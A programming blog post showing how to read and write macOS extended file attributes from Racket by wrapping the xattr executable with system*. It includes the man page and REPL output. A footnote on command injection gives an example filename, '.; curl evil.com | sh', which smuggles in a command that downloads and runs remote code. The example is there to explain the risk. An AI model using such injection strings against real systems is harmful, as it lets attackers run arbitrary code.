I recently came across a question: how do you read extended file attributes in Racket. Not being actually that familiar with extended file attributes, I searched online. Nothing seems to currently exist (other than in the FUSE module, but that’s specific to FUSE), but there is a system level exectuable that one could wrap to do this. I haven’t done much1 with Racket’s
function before, so let’s give it a whirl.
First (and doing most of the work), let’s take a look at the
xattr function’s man page:
NAME xattr -- display and manipulate extended attributes SYNOPSIS xattr [-lrsvx] file ... xattr -p [-lrsvx] attr_name file ... xattr -w [-rsx] attr_name attr_value file ... xattr -d [-rsv] attr_name file ... xattr -c [-rsv] file ... xattr -h | --help DESCRIPTION The xattr command can be used to display, modify or remove the extended attributes of one or more files, including directories and symbolic links. Extended attributes are arbitrary metadata stored with a file, but separate from the filesystem attributes (such as modification time or file size). The metadata is often a null-terminated UTF-8 string, but can also be arbitrary binary data. One or more files may be specified on the command line. For the first two forms of the command, when there are more than one file, the file name is displayed along with the actual results. When only one file is specified, the display of the file name is usually suppressed (unless the -v option described below, is also specified). In the first form of the command (without any other mode option specified), the names of all extended attributes are listed. Attribute names can also be displayed using ``ls -l@''. In the second form, using the -p option (``print''), the value associated with the given attribute name is displayed. Attribute values are usually displayed as strings. However, if nils are detected in the data, the value is displayed in a hexadecimal representation. The third form, with the -w option (``write''), causes the given attribute name to be assigned the given value. The fourth form, with the -d option (``delete''), causes the given attribute name (and associated value), to be removed. In the fifth form, with the -c option (``clear''), causes all attributes (including their associated values), to be removed.
So that is the functionality we will want to wrap. For my first attempt, we’ll just read the values.
> (define (xattr-list file) (system* (find-executable-path "xattr") file)) > (xattr-list "xattr.rkt") com.apple.FinderInfo com.apple.metadata:_kMDItemUserTags
As I did before, I could use
(system (format "xattr ~a" file)) but I’ve grown a lot as a developer with a focus on security since then. And one thing I’ve learned that can cause no end of trouble is using string formatting to build system commands. Just don’t do it2. In Racket, use
. It will take each argument as a parameter and you don’t have to worry about properly escaping things.
A good start, but I really want a list. To do that, we’ll need to capture the output from
system* into a string. Luckily, Racket is good at that:
> (define (xattr-list file) (with-output-to-string (thunk (system* (find-executable-path "xattr") file)))) > (xattr-list "xattr.rkt") "com.apple.FinderInfo\ncom.apple.metadata:_kMDItemUserTags\n"
And then to pull it apart:
> (define (xattr-list file) (string-split (with-output-to-string (thunk (system* (find-executable-path "xattr") file))) "\n")) > (xattr-list "xattr.rkt") '("com.apple.FinderInfo" "com.apple.metadata:_kMDItemUserTags")
That actually deals with the “\n” that’s naturally at the end of the output–and that saw an example ago–properly, but we’ll have to deal with that ourselves later.
Now, we copy this a number of time over and over for each of the functions, but that seems like a waste. Instead, let’s abstract calling
xattr in general:
(define xattr (let ([exe (find-executable-path "xattr")]) (λ args (string-trim (with-output-to-string (thunk (apply system* (cons exe args)))) "\n" #:left? #f #:right? #t #:repeat? #f))))
Here, I’m using two tricks. The
let is within the
define, so it can’t be seen outside of the function, but it’s also only evaluated once. Then
(λ args ..., instead of the more common
(λ (args) ... means that all of the parameters will be put together into a list.
Then, deep into the function, we add the function executable and
system* to it in order to deal with arbitrarily many arguments, much the same way
system* itself does.
Using this, we can directly replicate the
> (xattr "xattr.rkt") "com.apple.FinderInfo\ncom.apple.metadata:_kMDItemUserTags" > (string-split (xattr "xattr.rkt")) '("com.apple.FinderInfo" "com.apple.metadata:_kMDItemUserTags")
And that’s all we’d need. But if we want to make it a bit easier/cleaner, we can wrap the various xattr functions ourselves:
(define (xattr-list file) (string-split (xattr file) "\n")) (define (xattr-read file key) (xattr "-p" key file)) (define (xattr-write file key value) (xattr "-w" key value file)) (define (xattr-delete file key) (xattr "-d" key file)) (define (xattr-clear file) (xattr "-c" file))
And one more helper just in case we want to read all the keys and values into a nice
(define (xattr-read-all file) (for/hash ([key (in-list (xattr-list file))]) (values key (xattr-read file key))))
Then we can test it:
> (xattr-list "xattr.rkt") '("com.apple.FinderInfo" "com.apple.metadata:_kMDItemUserTags") > (xattr-write "xattr.rkt" "hello" "world") "" > (xattr-read "xattr.rkt" "hello") "world" > (xattr-read-all "xattr.rkt") '#hash(("com.apple.FinderInfo" . "...") ("com.apple.metadata:_kMDItemUserTags" . "...") ("hello" . "world"))
If you want the full source, you can find it on GitHub: xattr.rkt
What if the
.; curl evil.com | sh? The command to run would end up
xattr .; curl evil.com | shwhich, as you might imagine, could do all sorts of fun things to your system. ↩︎